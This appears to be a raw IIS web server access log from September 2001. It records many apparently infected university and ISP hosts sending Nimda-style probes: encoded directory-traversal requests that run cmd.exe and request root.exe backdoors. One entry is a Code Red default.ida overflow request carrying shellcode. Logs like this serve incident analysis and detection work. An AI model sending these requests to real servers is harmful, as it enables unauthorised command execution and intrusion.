[128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:59:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:59:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:59:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:59:59: [206.107.235.113] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:02:48: [206.107.235.113] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:03:07: [206.107.235.113] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:03:25: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:03:25: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:03:25: [206.107.235.113] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:03:43: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:03:43: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:03:43: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:03:43: [206.107.235.113] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:04:05: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:04:05: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:04:05: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:04:05: [206.107.235.113] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:04:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:04:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:04:23: [206.107.235.113] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:04:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:04:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:04:42: [206.107.235.113] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:05:00: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:05:00: [212.2.20.218] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:05:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:05:28: [206.107.235.113] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:05:46: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:05:47: [212.2.20.218] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:06:05: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:06:05: [206.107.235.113] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:06:23: [212.2.20.218] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:06:41: [206.107.235.113] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:06:59: [212.2.20.218] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:08:54: [206.107.235.113] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:09:13: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:09:13: [206.107.235.113] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:09:31: webster.uihr.uiuc.edu [128.174.105.125] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:09:31: webster.uihr.uiuc.edu [128.174.105.125] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:09:31: [206.107.235.113] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:09:49: webster.uihr.uiuc.edu [128.174.105.125] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:09:49: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:09:50: [206.107.235.113] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:10:11: webster.uihr.uiuc.edu [128.174.105.125] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:10:11: webster.uihr.uiuc.edu [128.174.105.125] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:10:11: webster.uihr.uiuc.edu [128.174.105.125] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:10:11: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:10:11: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:10:11: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:10:12: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:10:12: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:10:12: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:10:12: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:10:12: webster.uihr.uiuc.edu [128.174.105.125] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:10:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:12:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:12:22: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:14:36: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:14:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:14:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:14:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:14:37: owen-a-111.resnet.purdue.edu [128.211.212.111] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 12:15:05: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:15:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:15:16: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:15:16: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:15:17: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:21:12: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:21:12: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:21:12: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:21:12: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:21:12: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:21:12: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:21:13: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:21:14: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:24:53: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:24:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:26:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:26:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:26:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:26:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:26:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:26:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:26:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:26:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:26:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:26:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:26:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:26:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:26:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:26:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:26:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:26:28: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:27:44: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:27:44: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:27:45: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:27:48: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:27:48: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:27:49: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:27:49: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:27:49: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:27:49: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:27:49: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:27:52: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:27:53: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:27:53: syr-24-169-176-197.twcny.rr.com [24.169.176.197] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:27:53: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:28:29: d53-26.uoregon.edu [128.223.53.26] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:28:29: d53-26.uoregon.edu [128.223.53.26] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:28:29: d53-26.uoregon.edu [128.223.53.26] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:28:29: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:28:30: d53-26.uoregon.edu [128.223.53.26] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:28:30: d53-26.uoregon.edu [128.223.53.26] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:28:30: d53-26.uoregon.edu [128.223.53.26] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:28:31: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:28:31: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:28:31: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:28:31: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:28:32: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:28:32: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:28:32: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:28:32: d53-26.uoregon.edu 